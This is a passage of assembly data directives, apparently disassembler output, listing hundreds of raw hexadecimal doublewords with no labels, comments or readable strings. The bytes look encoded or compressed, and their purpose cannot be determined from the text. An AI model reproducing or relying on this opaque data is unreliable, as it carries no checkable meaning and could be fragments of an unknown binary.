84A054B2h, 40D178FBh, 0C600FF3Bh dd 0DA2EE09h, 0FE6FE9Ch, 0B906617Dh, 1820F6A0h, 1900F32Eh dd 0C94D56AAh, 77025C86h, 22B48075h, 0DB009DE6h, 57C7E49Eh dd 0C0585409h, 7096E679h, 0DB0190EEh, 0F5C301A2h, 97DCA407h dd 882200A6h, 0EA629341h, 4B4D2ECAh, 48471C3Ch, 5F6DB1C0h dd 4356625h, 937236C7h, 1C6CF8F5h, 0C1F296FBh, 0CE99604Ah dd 3DE80EEEh, 0EB47F595h, 0E626804Eh, 94A4C8CBh, 0F9E5DB00h dd 3D2ABC58h, 2623B844h, 0A057B1h, 0E35C8529h, 0CE0007B5h dd 4F79AB2Dh, 3CC8CA2h, 668A3A6Fh, 55E0C939h, 0C1062DD7h dd 0D0A636BCh, 89D33008h, 55D56720h, 5EE10400h, 2E41F383h dd 0E46F0711h, 7029AF8Dh, 8E2DBFDCh, 37E88501h, 3A9321B2h dd 868BF4h, 0BABE7D5h, 118DC4EBh, 8208F263h, 0DD200036h dd 421FE806h, 830025CFh, 0D7644F69h, 2E3A90h, 8D4C3CF4h dd 95CE0985h, 1BE36C40h, 185DD803h, 0A948A060h, 3EA359C5h dd 0C37E4F6Bh, 91A42E19h, 0D088CAA0h, 0BCCC200h, 69C6E3BDh dd 557FEABFh, 30DE886Bh, 0D61155AEh, 7484B92Dh, 0D464008Bh dd 0AE8E655h, 2D494E13h, 9C298194h, 9F284D0Dh, 8D194628h dd 76F08C19h, 9D2401C2h, 68D428ECh, 66B88235h, 60531C19h dd 3F70A0D1h, 6F3AB192h, 0E211E30h, 4D0052B4h, 8430D881h dd 18F2DCD1h, 91216F08h, 3700C226h, 0ABE21CADh, 0A07101CDh dd 7DA7FE94h, 13F71E90h, 82440B7h, 26D76A51h, 0A9B90300h dd 6BC82E0Fh, 0C7AD0058h, 0C0369C76h, 0D7FF61Fh, 9D3F9903h dd 3EE4335Fh, 7A001E10h, 27BD05E9h, 9B003AA3h, 220FF807h dd 7B3A8FDh, 3262BE12h, 1D2D53F9h, 0C8594900h, 4CCA5BFFh dd 0F0AA4175h, 21C091C4h, 0DEBB83B1h, 5A4B0468h, 805CF9CDh dd 5FDA4A4h, 0C1D95300h, 0E0383398h, 0CBA7008Bh, 6D55E24Ch dd 9B00804Dh, 360BE59Ah, 63F3B856h, 0DD746887h, 0A1594DE0h dd 0C150CB30h, 876FABh dd 0C01FBDB7h, 0DD751D92h, 5FE4F30Fh, 0FFC7E7A7h, 41CBC6h dd 0A36419EEh, 0E1DA4651h, 0B1E4DE8h, 0A2003FDBh, 7F0A1BAh dd 0A7670047h, 8E9561EDh, 0E9079A75h, 0B26317A5h, 21FA3600h dd 271207F8h, 0B1E2FB01h, 830E1BCBh, 397E2C90h, 49EAF883h dd 7D130090h, 710426ABh, 901F2A8h, 9F188664h, 0E7FC532Ch dd 35EC0711h, 8F700D38h, 3443948Fh, 0E593208Ah, 0FF5344D1h dd 1584A9C0h, 7F9E7202h, 0F5A79C61h, 28108F43h, 0AD006E99h dd 9FCBE235h, 1800A451h, 0A715622Ah, 0DDFB0Bh, 48C389F5h dd 0E86B782h, 0C58ED600h, 580A628Dh, 0E2CF0001h, 171AB57Bh dd 12004C36h, 49B02C4Eh, 0C52B6Bh, 0B820BABEh, 56CC3748h dd 0D93C7901h, 2C941A38h, 0F6C45FDCh, 34EE68Fh, 7380FA3Dh dd 0A3CA6E71h, 0B5F14140h, 0EBD0D500h, 3D63102Fh, 5D510090h dd 417ECDA4h, 38009349h, 740631DFh, 0A8BC7C63h, 211A94h dd 9B203E92h, 0B10E4C13h, 829C7F00h, 7E9430F1h, 449D008Fh dd 0ABA39BDEh, 9E0045DBh, 11A6821h, 1431999h, 74C446B9h dd 7EE4EFF0h, 7A97ACC0h, 94980041h, 5A3E5440h, 271C8312h dd 5D001DEDh, 8F1BA02Eh, 4E00089h, 0D0C795F1h, 0D909DD7Bh dd 57C48850h, 41655080h, 0E5023EC6h, 9C92D4A6h, 6EE640F8h dd 5ED50025h, 76BE2C67h, 0E6076B93h, 0AA4B6FB3h, 89151AA0h dd 80F00337h, 962B3311h, 0E90597B8h, 1841AD00h, 0E8C95622h dd 0A8F34B7Fh, 0D7720AB8h, 0AC808CECh, 57C30B8Dh, 2D8C01EAh dd 0BF2F7A82h, 0D1C8C03h, 1C5BA8E2h, 0C0F68EEFh, 79959D86h dd 28003002h, 0DDB3FAC6h, 0F8DCF2Fh, 24462A55h, 2300F834h dd 6383B6ADh, 711C70C3h, 1FAEE536h, 123F3Fh, 8454B16Ah dd 346120h, 0C63A6562h, 0F1F710F3h, 13ED7400h, 99F94049h dd 0A03B0003h, 0C3184E0Eh, 0E7091DB3h, 56CF5Eh, 34FD0178h dd 47A700AAh, 99513A72h, 0C91D12E3h, 4981D323h, 0CFE42E70h dd 0F7636E0h, 475D8C2Ch, 0AE4EDCC0h, 0BC076654h, 0EB50437h dd 0FAD262E0h, 417476h, 0B3A9D6CAh, 1423CE36h, 4BB4531Dh dd 38C28B80h, 966EB2h, 0DA1095A7h, 0BCDB3970h, 8986F000h dd 0EA594174h, 17E9880h, 7E43117Ch, 0DCFE8B4Eh, 0C700764Dh dd 0F72F37B0h, 1B2F978h, 74F3FAB6h, 0D4FED8BDh, 2E1C51F5h dd 48C7151Bh, 6B305822h, 0AF8025h, 357CCAFDh, 7E8D783Ah dd 2F50FE00h, 0A07FFBE1h, 0F0F6550Dh, 74B55AFCh, 67C1003Fh dd 0DAC4C3CAh, 0AB73972Bh, 823CA33Bh, 8FF2480Dh, 57040B5h dd 970F0026h, 75827BAAh, 1B001D14h, 7E45F417h, 2D45934h dd 0BF33EBE0h, 2CC074C9h, 0C709C29Ah, 0CB0AD3h, 9C60FC6Dh dd 0E925002Ch, 0C5724BC8h, 0DCE18706h, 0ADA039F3h, 0BBEA6E77h dd 0D1CCDD00h, 3559EC0Dh, 0A244006Ch, 0EBA93BCAh, 1273B613h dd 48003976h, 496C333Ch, 1632D3Eh, 37659B29h, 8717CFDAh dd 4240D178h, 6F0CBC31h, 0F3F9E9FBh, 0BD538880h, 0BA649285h dd 0E6417C00h, 0FB077FD4h, 7A8B63C6h, 0D5C08545h, 612EB73Dh dd 400A968h, 5CBF64DAh, 1F08008Dh, 8CC5FEF3h, 5200F6DDh dd 676A73BDh, 2DEF56h, 0E0A13446h, 0AC32CEDAh, 0FD304D00h dd 626AD810h, 0E908026Bh, 458267AAh, 0D858DCE1h, 75E21FEBh dd 0BCFF2800h, 0AD5A0219h, 4D7800CBh, 328905A8h, 9200908Dh dd 2D982822h, 0FD566Ah, 17DEABAAh, 0B16269A8h, 846C4A24h dd 0B618D03h, 68CB825Bh, 1415C4h, 47A03439h, 0C2FBD5DCh dd 0B849690Eh, 0F98921FEh, 0A9FBCA6Dh, 0D1DC556Ah, 68BA0045h dd 0E1C03962h, 64906D9Dh, 613E5600h, 0C685F0DFh, 0B373D92h dd 0EB96FB00h, 53804CA5h, 0A68439h, 0DD57FAB9h, 5C193Fh dd 0E640F8F3h, 234E0CD9h, 91AE1200h, 6082953h, 70630060h dd 0FAADF858h, 0E006BA5h, 427E72A1h, 9C6756h, 0EA96D377h dd 0AD8C441Ah, 6AAED900h, 2649FC08h, 0AC0400C6h, 0BB10A0F6h dd 3400A28Ch, 85B5866Ch, 0F8BF5415h, 17250026h, 0FF0692E6h dd 0D502CEA7h, 8F0CE379h, 70284038h, 60C80124h, 21C7341h dd 17D0D47Dh, 7611B513h, 0E7634801h, 24209A84h, 89060051h dd 4C183A96h, 73002FE1h, 0B8CDD225h, 191A4ECh, 5A3778CEh dd 6FDCEF07h, 1D19EF0h, 850C57Eh, 0DD4068C1h, 0DFC9E02Dh dd 76D4E300h, 0DAD9ED62h, 6FCB013Ah, 4E346EA2h, 0C483EDDCh dd 15000BC9h, 6248BAE7h, 0E2942A74h, 0F5CB0059h, 0CC0F1371h dd 0D1005561h, 40A24DD9h, 0BAA1265Bh, 0C0050010h, 8A229E5Dh dd 0CA0E3547h, 6117A958h, 0C4306CDh, 22AA460h, 68962764h dd 7040DC48h, 6F007CBEh, 0CF0EA11Dh, 3CB0FDB4h, 29BEEB2Ch dd 40969807h, 0E01CB2E4h, 0ECF83CEBh, 0A5039DB5h, 9CAABF68h dd 20A181EEh, 0D19F8880h, 21155C8Ch, 19844F03h, 0A78D5179h dd 0A09DD301h, 281AB186h, 0E800516Fh, 0EEB88314h, 0E98024h dd 7375D1C7h, 787FA63Ch, 19C8E3FBh, 3D009DFAh, 7D0BD21Eh dd 17AC367Bh, 10F43B4h, 0BC50C774h, 5C78811Fh, 7A01947Dh dd 0EA0C30h, 77C78074h, 0F0350B91h, 40CF5F00h, 2160FBF2h dd 82C40AE4h, 6574EE8Fh, 145840D2h, 39845149h, 7061E530h dd 1ED72085h, 40665075h, 0F001C243h, 0AE0751A0h, 0EFFA3B73h dd 53820340h, 0A7000B2h, 0A697ACBEh, 0CC009455h, 0AFC3E29Fh dd 3C87F4Ah, 6B010908h, 2A80C7B8h, 0F107B99Ah, 0C566BB90h dd 3881A967h, 0ACE4F296h, 0ED9700CEh, 0C0D714B1h, 9002016h dd 0A5448675h, 2F78C2Eh, 0C8653BC2h, 99407FD3h, 8AB846A7h dd 0B6F37800h, 16C46DA6h, 0B06C00AFh, 9DC91466h, 10003F92h dd 0B7F6CB7Dh, 4CAC7F3Bh, 40016A7h, 0FEF2F4D0h, 1100EA79h dd 0BF95DF84h, 5515121Dh, 90D59864h, 0FEEF75F4h, 1BF30021h dd 9B555063h, 2730A856h, 9C8A2966h, 6BDB003Fh, 26E0E14Bh dd 502D6C0h, 9A5FDDEDh, 0C62CC0F5h, 90AF398Dh, 0C554D480h dd 317AD282h, 93F3CF00h, 0B2627D6Eh, 969F0039h, 0D1E35ADEh dd 22506FB5h, 0D30F7FD8h, 805F93C5h, 0FD8EAA99h, 2E950030h dd 0B4D0EF4Dh, 9E00D257h, 3392A714h, 77E9B7h, 6DDF1FF3h dd 979A5CA9h, 8D803C06h, 677095D9h, 8047129Dh, 98218EFBh dd 5B202F00h, 2C99F81Fh, 40DC5060h, 4C142C87h, 0DBB8090h dd 84B3D589h, 0FA95E800h, 0E480679Bh, 0D23414FFh, 87018C51h dd 0E0F1D68Dh, 0D56AD8F9h, 0DFCC9500h, 49522625h, 0E35E63Bh dd 4F0F2B10h, 0E65B2EA0h, 0E9E8588Dh, 426AC07h, 0FEC08EDEh dd 2F3E36h, 0FFA938F2h, 705E65Ah, 0AFEA9D06h, 42290AC1h dd 7BC311D2h, 1106F111h, 44791C49h, 0C3444137h, 462284ADh dd 51FA6021h, 969A3749h, 56235103h, 0F05FA935h, 0E30DB331h dd 15C01D4h, 8391DBE3h, 0F06F1A6Eh, 7E00C640h, 0C5B6423Ch dd 3F6D5270h, 81581DDAh, 9209FB07h, 82AC90BDh, 0D400729Dh dd 7A31182Dh, 0CD9A52h, 7CCF89D1h, 34D316EBh, 4C694D00h dd 48388E8Ch, 75B30006h, 4473BA79h, 9F0F35FEh, 7F46F23h dd 2F00FD38h, 0FB263Eh, 520899EDh, 5A8E65DBh, 31499B00h dd 0A2B32C6Fh, 92580027h, 62F0B763h, 34747C3Fh, 48F5BC01h dd 729B7514h, 69E9C1FFh, 98B05D0h, 0DCA3DA4Ch, 7EC7A300h dd 83003148h, 2FA15A0Ah, 2C64F461h, 5E954h, 726EE4CDh dd 0F7E29119h, 4201D690h, 73A57BC7h, 52D8AC8Fh, 0E9240EAAh dd 0D42006DCh, 1D1A583Fh, 45070E04h, 0C813832h, 39B83CBCh dd 6DFE7500h, 612334C1h dd 0B457C00h, 0EC4CF72h, 3BC71EDAh, 636C0D5h, 0AF3AF63h dd 9633601Dh, 26D364C0h, 3B40D43Fh, 76041FA9h, 0C0CDD1E2h dd 6DCC72B2h, 0B082FE00h, 7D11F943h, 6DF0018h, 26AF1AEDh dd 0D005FD0h, 2B38A07Eh, 3724AEh, 13C9631Eh, 8DD0E6DCh dd 72716400h, 12AFAA32h, 0BDCE0747h, 200DE058h, 0C1E1225Bh dd 8C61C91Dh, 39D7B041h, 7160A4C4h, 0AE5A022Eh, 5DBC4B2Fh dd 0C063048h, 3E08D500h, 7018B5C9h, 0E475066Bh, 38A03CDCh dd 0B1924C00h, 37B066Ch, 21D80029h, 0CDFC1215h, 0B489EFDh dd 68EE0034h, 60CB9F7Ch, 67AF0F2Dh, 1E6013E9h, 0AA1A7A93h dd 0B257F607h, 77602A6Dh, 3A6CCBh, 924A3723h, 46B4DCB7h dd 0C707F77Ah, 7344C933h, 75B036B0h, 0A0E8F869h, 8856DE0h dd 20C8C72Bh, 398E9B04h, 0E40901Ch, 60B32B97h, 0A2752843h dd 0CDC900BFh, 0FC44C49Ch, 0F71D2F3Dh, 830FC12Ah, 9A7D428Ah dd 5536C088h, 61C20BFDh, 9D00988Fh, 0E4ADB5F3h, 2A072F00h dd 44FEC816h, 807FFFh, 0C1B46534h, 6B1839FBh, 6ACBDD00h dd 518DCD89h, 7C4348E3h, 50E97874h, 3E50C66h, 82F0576h dd 46881FE7h, 6800AEDAh, 7A3C9826h, 8AEC02h, 7C927358h dd 333B104Eh, 5A574300h, 53F395E9h, 9E3F2A56h, 919050CCh dd 27E000Bh, 162FD726h, 6AE2E218h, 78433900h, 3FAC875h dd 60800CEh, 0AD2DDEF3h, 1C0067D9h, 1BD62601h, 279E5Ah dd 0C2A23CF1h, 0C8B14E41h, 75018500h, 73A1F67h, 0A972007Dh dd 54908696h, 33078B40h, 941ACB25h, 0E8850F20h, 71F200B8h dd 800A753Bh, 0D0F95E55h, 72F03391h, 3F241D00h, 413A102Eh dd 79570092h, 0C21E97FBh, 66281403h, 9D07D176h, 0C6916181h dd 67A8D970h, 30E628AEh, 0DCEAA8h, 11D06DA2h, 5EC9ED87h dd 0CDD48h, 1238BB0Dh, 3138F33h, 6CBEA9CEh, 26C8EBFFh dd 0F360AB28h, 0C960C328h, 0D4111CA5h, 46FA403Ah, 0CA826FC1h dd 0B5368D00h, 0A65F0887h, 0AD77D3h, 0EA0FBB52h, 0FB27FEEEh dd 79CEA900h, 8CB16AF4h, 0BE960ED3h, 5F204AC1h, 0D8D084EBh dd 0C33E6600h, 0E52B9844h, 2E417C0Bh, 380AC9ECh, 0B94D098Fh dd 0C874AAh, 5022326Ch, 0B20015C1h, 0FAABD19h, 3AD32E8Ah dd 6501D15Dh, 0DB3410A4h, 6932C4A3h, 403DC800h, 0F5C60B14h dd 3C1EE038h, 0C20026FBh, 0C1485813h, 0F779CE41h, 0A34DDF00h dd 5BD4540h, 972900E5h, 8B94E2E7h, 1E90F01Eh, 3B1B1000h dd 0BD8845E4h, 99E01Ah, 0BB69246Eh, 0D505CFCDh, 0EC46B600h dd 562817EFh, 0F84103A3h, 0F110D381h, 0A8C034D2h, 5AEAC331h dd 0B8D8BE12h, 0E3B4E0h, 0A8F9BF57h, 441E39D6h, 35E0A700h dd 346E6DB3h, 759701C6h, 1AE60274h, 2AF3C8F5h, 0B1821200h dd 4CC20759h, 0A3873C40h, 549BD900h, 9102A2A8h, 0F0DDA503h dd 0B8D09DAFh, 1295F5h, 26FF7D96h, 0A6782167h, 6B53E607h dd 3B00B4BEh, 0E98A5h, 9D322BFCh, 0CE5FAAD3h, 8D776600h dd 44E32457h, 0C47900EEh, 69FF4FB1h, 0AB00591Ah, 0E2BDBA25h dd 0E0AF9A67h, 0D1483954h, 5B2F8F84h, 0F0B580B1h, 3300FE4Bh dd 704DC46h, 6D79B56h, 6972BDC9h, 1800F095h, 0DFA67A97h dd 0F24CC334h, 89210010h, 7425C23Ah, 711E9D51h, 2680FAE7h dd 0EBB2EE37h, 53DE0039h, 27DA97A4h, 1FE00DBEh, 0C4FB48h dd 29B84AA9h, 41942B5h, 6E96F2A1h, 0C564C012h, 262CB0C0h dd 180050F1h, 843C5750h, 0F6F200ABh, 0E1EFE078h, 5A1CCCEDh dd 0F100DB45h, 4BA5E9DFh, 7510146Fh, 3C0EBCC0h, 0C3E0DC32h dd 52DD2EC4h, 5B263Bh, 98AF7DCAh, 77E6Dh, 8068037Fh, 462EABEBh dd 1BF67502h, 4099C684h, 0E1F0B79h, 0A036AF65h, 390F8DC0h dd 0AD00F722h, 47B5122Eh, 2671779h, 1C7C5769h, 0CCC815FAh dd 39F0E98Eh, 58761100h, 0DE5620F3h, 1071B1h, 27357DFCh dd 22910A09h, 0D314FB00h, 64289B18h, 0F4CB00Dh, 0D20C513Dh dd 37C2A80Ch, 15900860h, 0E48D9B65h, 0F747FEAAh, 58792464h dd 54000083h, 452B4A46h, 3E00FEEAh, 85E1BF6Eh, 0E9FCE39h dd 8F10959Bh, 4CA80FA0h, 0B100F4ABh, 8270E92Ah, 3C0C1Bh dd 50A29257h, 37258660h, 0B4CBF60Fh, 8800763Ah, 0C27F45E8h dd 82471838h, 8E70D8F2h, 0C57C3102h, 7DB8CC4Fh, 0E9EA5AC0h dd 0E1EE437Bh, 15B0F4Ch, 87478A1Eh, 0E030DAD3h, 63D617ECh dd 9BD840EFh, 8999CA20h, 3CDFD40Ah, 0C40F840Ch, 8066497Eh dd 18CEC6B8h, 414B00CBh, 0EDA77596h, 0E903EEB8h, 849F5AD3h dd 94AFA02Fh, 3C373D7h, 0CE372760h, 7BD81832h, 0B200769Ah dd 3AF6A9A1h, 63F202h, 0C2E8F543h, 91A5D9D7h, 2724B700h dd 0D1B636EDh, 0D8B85Eh, 93718513h, 14B4E150h, 40E0CEF5h dd 5A1D7417h, 0FA8055E8h, 5B6C0802h, 32D61F67h, 204C7879h dd 0EB039958h, 1513EFEAh, 93F3A0A0h, 6329A307h, 58253ABCh dd 0AA5AE480h, 612C014Ch, 0B360E13Dh, 0B1A82037h, 0E289FB00h dd 36EE1DC4h, 5D5C346Ch, 0DCDFC598h, 1A3FE124h, 2EA38E13h dd 47BD6088h, 4CA43889h, 0B412C6EAh, 0E918004Eh, 0EDE339E6h dd 26003D7Dh, 7B3C58ADh, 0D4A812Ch, 68521CFDh, 38428B62h dd 0E72000AEh, 29EFB9Fh, 0C122D8A6h, 0A0C352BCh, 39324EF0h dd 831CBF00h, 0DF190910h, 0F34600FEh, 89FDFBC8h, 0BB00A604h dd 186C1490h, 0E4CCB720h, 0DC541F84h, 0F94E87EFh, 0C50BB3B4h dd 0B2ECC9A0h, 1FF13801h, 19CE0A2Dh, 0A096FBC8h, 0BA4DA4h dd 6084CD87h, 37242A77h, 72986572h, 102B9230h, 0F8B050h dd 1333AA11h, 7DDE3C14h, 5501A870h, 848F9B91h, 0D82429A2h dd 0FBA90199h, 0A86878BFh, 5F8CCCC9h, 6310D700h, 0F33E2726h dd 0B73B00FFh, 0AF40FC6Ch, 5200AC44h, 828B1460h, 0E7AA210h dd 0ED7B3FAEh, 9FBD0C62h, 2A96DC40h, 0DD045373h, 0B084690Dh dd 9BD271C0h, 0EBBD05C7h, 0D00FF299h, 0DF903748h, 9A5C100h dd 15C2FECAh, 62360E03h, 98C06EC0h, 7558C983h, 0C7F34500h dd 0D7067A41h, 0ED432EA0h, 0EA5C0021h, 0DA7D0588h, 0A600D6FAh dd 0E232C2A7h, 24538D63h, 182C3Ah, 0F97BB12Bh, 2100FC27h dd 0E77C368Fh, 7F4B9Dh, 0DEA3C016h, 7858A18Bh, 53DB2400h dd 5DCD01B3h, 6CE80005h, 0E597F098h, 9A12095Eh, 9037729Dh dd 0FA071130h, 2DE600DFh, 0D4BFB9B5h, 0DB77A8DAh, 0F4534Ch dd 0C74A430Fh, 50E78B2h, 0CFCA0D35h, 57108079h, 5C17E594h dd 0A00037B5h, 40FD6F6Ch, 0B9C400F9h, 1BB14D59h, 0C3608ED3h dd 3A965810h, 7A8A002Ah, 0CC18BAFAh, 420009F3h, 224A200Eh dd 28E0C6Ah, 0F2A80255h, 0D6614BC7h, 0A741802Ch, 7F9C3C45h dd 8CA900E5h, 0EB36EF32h, 9E1E02A8h, 15009B40h, 1CE38A86h dd 5AC30907h, 1C0734A7h, 0F490A97Bh, 210053FCh, 0CA852258h dd 0E455D62h, 0E3AA6675h, 0C633F8A0h, 50B02F47h, 3C271D3Eh dd 0CCEB2418h, 0B092140Fh, 214610h, 71D77C40h, 7724FCC0h dd 107897DDh, 38FDE00h, 3B0A3396h, 0BFE3832h, 414AAB00h dd 0E3069838h, 8A375A09h, 3A180028h, 87D812h, 25FBF12Ah dd 6A48CA5Bh, 44FC38h, 39112350h, 9465C117h, 9C7D0794h dd 0A1DF0037h, 0F759400Ch, 2A1907BCh, 9F603596h, 3F259B2h dd 61707404h, 0B788D5B6h, 0DC0AE2DBh, 0EC6D3306h, 3A550283h dd 2488FCB0h, 703900CBh, 96314ECEh, 0EE1C15F0h, 0E14002CDh dd 40B4A53Ah, 397F0Eh, 0B5FADAFDh, 0CCBB6FE9h, 13C50500h dd 9669D3DCh dd 1E1B0446h, 0D3F2D2D4h, 7F980CD4h, 2A00E873h, 36DA46B1h dd 48F185Dh, 7DA4AAA2h, 0ADD080ACh, 0B4076F53h, 0C62A8404h dd 90DB9613h, 0B8FDB6h, 6DF04425h, 0C03FB3F3h, 1706C400h dd 0E6277031h, 0DA83056Fh, 570FBB4Fh, 8EB01DB0h, 68209ECCh dd 0CD5FCEE8h, 41441403h, 0C217F825h, 0ED04046h, 0EAAF3DA9h dd 24B56600h, 11733723h, 4F915918h, 1C6D3F11h, 9D63F0h dd 7D90B146h, 5916C5C6h, 881A054h, 602C93E3h, 7710AE00h dd 1471E707h, 0CFF090CFh, 0B340FCD1h, 4AEC683Bh, 9923009Ch dd 326DE8E0h, 0B502DE0Eh, 7EEA101Dh, 96C84021h, 70090008h dd 9A52AB81h, 0C6267AA3h, 3000D0BCh, 0EBBBAFDEh, 0CCB05C68h dd 9F591F00h, 958BCE88h, 0C6B84503h, 0BB9D09h, 9B5CB630h dd 5F26E290h, 1D4DD81Fh, 0B494C780h, 98FCF6Dh, 4BB31331h dd 88B55980h, 5900B60Ch, 32895E9Ah, 1A4F7FFh, 0E4E0015Fh dd 20D18114h, 0FD0B1A89h, 44B768h, 4659D4C2h, 3D03002Dh dd 120FDF4Ah, 0DE001578h, 2E33B0E0h, 90EAC3A9h, 0CF7A07D4h dd 0C22B4Fh, 0BAD3191Dh, 28B4AB00h, 38923BDEh, 548B008Dh dd 815A3D06h, 0EE07E2C3h, 0A8D8D372h, 7AC92690h, 173D9A01h dd 40FF1DAEh, 4F5C0ED4h, 0DD00CB9Ch, 0C2311905h, 2EDFB55Ah dd 241C1B95h, 17AA708Ch, 7800CCE4h, 1F6555A7h, 913969h dd 50560912h, 7A018229h, 3B00FF74h, 0DCBF8946h, 0AF1D26h dd 389EAD73h, 0A7C82AFEh, 806E1F3Ah, 0EC146717h, 14537D2h dd 7D180F50h, 0E02D84D5h, 1002F223h, 52636ABAh, 0B78E6EBh dd 0C9B894CCh, 55FAD780h, 0F601F449h, 52CFA612h, 1D04D9Dh dd 64E600CAh, 4110681Bh, 0BA097EC8h, 5A56E8h, 0CAC723BCh dd 7B07B7Ch, 0E539CD4Dh, 3FF2106Ch, 94005572h, 461DB66Bh dd 1DDD2CA0h, 8037EE31h, 5B782FF1h, 0B006996h, 0F7AD411Dh dd 0D2E902DDh, 2701AE20h, 4594892Eh, 0CE08846Ch, 34003326h dd 0E0BA5FD7h, 124F74A9h, 0C3C38ACh, 0CA18D190h, 0CF2875F8h dd 891818F7h, 0C8495A8Dh, 41531E85h, 230FBAC4h, 400FFFDh dd 0A1CE86C1h, 0CFF6B500h, 9FBEE5Bh, 0B4F00881h, 2E00563Ah dd 0A198BAD2h, 20A55D5Ah, 0B3DF1E7Ch, 6B104592h, 505A8030h dd 8A00B519h, 8CABE822h, 9471586h, 52688879h, 99480FDh dd 2CDE020Dh, 86008D2Bh, 6957E1B7h, 9952D000h, 98AA5C8Ah dd 9AD71F8Fh, 93BA008Dh, 88A62F3Fh, 0E0865E24h, 5AFFBE03h dd 7AC08F4Ch, 0F85759h, 0FA19283Bh, 3F8E2169h, 0EB734400h dd 7267D9CCh, 387E06Fh, 624B9BB9h, 6D90502Eh, 1198CA42h dd 0FD17A700h, 8293E746h, 0F124018Dh, 79AEC520h, 0AB792038h dd 757D1470h, 2CE63300h, 10C03ABDh, 0DE2200C4h, 0A7EB6E8Eh dd 593E3772h, 32660FC6h, 5EB980E4h, 0A8342A0Bh, 0FB4ECCh dd 7AA1329h, 178938BBh, 604608CBh, 5238498h, 883D352Ah dd 6ECE82CFh, 421290A0h, 0D1008A48h, 0BB7D8B9Ch, 2BD4CEh dd 87E57EDDh, 0A9E342DCh, 64B7EA1Ah, 36364088h, 8EE60953h dd 1800091Fh, 29FC5EB8h, 2A3E48A8h, 3FA9DE11h, 35D5584h dd 0D82A2973h, 2FDD1250h, 0B5005A85h, 80DA94E2h, 5B8F3412h dd 0B2E93447h, 44E72B42h, 86940114h, 730CB197h, 72B8E430h dd 208908C9h, 995E7400h, 0EA710FF6h, 5DC03E76h, 36C54EF5h dd 3B000C91h, 0EE87FAB4h, 3299191Ah, 816509DAh, 0FAFF1B21h dd 67C81925h, 4F7101ECh, 0CB5B180Eh, 0D472CDF8h, 8E00CE10h dd 245D2FB2h, 3F884AC2h, 0CA0C4F0Dh, 0EC7830EAh, 32E8E00h dd 0A873C447h, 28A073Bh, 0FCB6D8h, 193D2FB8h, 0BD127900h dd 0C7079772h, 0BB7F00E4h, 65D8870Ch, 8C005195h, 15528A7h dd 1F14D7AEh, 0C7C94EDDh, 39B08AC8h, 0F4F75480h, 0A005C79h dd 0B156BF9h, 1C3A790h, 292BFBD2h, 0F853DA4Ah, 2009B63h dd 0DDF15852h, 77EBA6C9h, 5BEF002Fh, 0E5AB541Ch, 61769DEAh dd 0F3E6C400h, 1A0A2ED4h, 7EF500E1h, 0C6CEB0D5h, 0B3007239h dd 0FFD11612h, 18EEF9Eh, 6C0E547Fh, 70C3F307h, 948E9E6h dd 42303380h, 418098DCh, 0C71D00DAh, 0C9FF271Ch, 0FA009166h dd 39738523h, 1FDC1B65h, 0DEE58E5Dh, 0DE32C319h, 0F698EB98h dd 9A036638h, 1D5AA769h, 0A344B0DCh, 5018C09Fh, 4AE3949Bh dd 981080F3h, 19E65FEFh, 0CF5B0059h, 7310C589h, 0E10061C4h dd 0A40D2277h, 7C9843h, 0ACF25D99h, 2A827E0h, 3126CCEBh dd 0F5093DECh, 0F31A69h, 95D59AB0h, 0C1D91880h, 111201Fh dd 0A21A6A0Fh, 73900354h, 6D1B98E4h, 0A9B80009h, 9BB31EAEh dd 831C1A6Ch, 4A40665Dh, 0A220C510h, 0EB460948h, 7680CE37h dd 72ACEFEAh, 0A038B105h, 0F3C0328Ch, 7CC259F1h, 30E809B0h dd 0E68064C4h, 0C82C6890h, 0B08A38CFh, 1A01374Ch, 0C7CE2D9Eh dd 0F1209D64h, 0C9A1ED06h, 49670011h, 0BC4CD88Bh, 481DCDD2h dd 5D0DD324h, 0BE602062h, 6F560188h, 0BE50B37Ah, 78888D84h dd 889D3008h, 70BDC735h, 0F360CC2Bh, 885B0E8Ch, 0D3E84CD2h dd 0FC526264h, 0B9B100D8h, 4806EBAAh, 77B2170Ah, 0A63A01F2h dd 0C41E4A23h, 30C070CCh, 8B8184C7h, 62EC1EBBh, 0F2E107EEh dd 1EA2C3EDh, 18322000h, 7DB3F58Bh, 36ECFC45h, 5849AAFCh dd 10C12030h, 0A55EEBh, 0C03F2732h, 0DA5443FAh, 25425600h dd 39ACE1BCh, 629C1C97h, 0D2D487DCh, 3CBD63A6h, 59147DE0h dd 7CCD601h, 1A46746Ah, 0BED060h, 972A863Eh, 62A36642h dd 0FDE35703h, 0DCBDFAh, 53391D40h, 1B83EEA5h, 7AFC455Ch dd 0E06082E8h, 50917C20h, 36800DFh, 155E551Fh, 0D90CF4C0h dd 48599052h, 0FBDF002Bh, 1A62A5D2h, 10006A1Ch, 0A6E6DED5h dd 0C34DCC7h, 93A7F41Bh, 0A8120631h, 4074108h, 9E40DED4h dd 0A0C63Bh, 0D0DCBE19h, 5A7207B0h, 5FFAE800h, 2878AFB5h dd 19D90236h, 660D30C6h, 87D8CB81h, 0D178B476h, 0CB10702Fh dd 0EDDDC0DCh, 464D09h, 921FC335h, 0F3ECC502h, 31DFBF00h dd 81A84367h, 89C60C73h, 8261609Fh, 0D619E400h, 0BB3C4B93h dd 7F34049Eh, 0C161BAh, 0D41B6C5Bh, 4B3600D0h, 8F119A2h dd 0BF02F6ACh, 1FABA726h, 7CE4A0DAh, 3E41DD5h, 0C566D247h dd 831FB59h, 0FD992177h, 98172A30h, 5A7318F4h, 0AE46F995h dd 3100C7F8h, 81A99913h, 5551737Ah, 76D0B8B5h, 30DF79C6h dd 942082EFh, 6A00A6FFh, 43B97FAh, 0F2F905h, 38EA6C58h dd 9B0A886Bh, 3173E705h, 0F207ACF8h, 0B3607983h, 0E26BD56Eh dd 7F9F004Ch, 0D98D123Dh, 0C400E1B8h, 742DB025h, 0F6110798h dd 12BE3F8Ah, 20B92498h, 2E00654Ah, 278DB572h, 0ED8EB01h dd 0B45BE9B8h, 0C0DEA360h, 518C4C1h, 59F2E37Bh, 1910C0E5h dd 0C065F5C5h, 0DB6E6A03h, 0A378B137h, 76213D2Ch, 1D33F500h dd 5FFE7B19h, 171C6200h, 2D65733Fh, 28ED6CE0h, 60D3688h dd 11DD4B64h, 0B927CD8h, 5F3AC3C7h, 673350Ah, 2008B2EEh dd 920564F4h, 0B81F9EABh, 0DFB280BAh, 0CA1881EDh, 1EB8E367h dd 3D830062h, 9D4FE7ECh, 90A84A45h, 16868CD7h, 0A872DCBh dd 64900D48h, 0EC474026h, 0CBAC30h, 41A5C398h, 0A0C0F78Fh 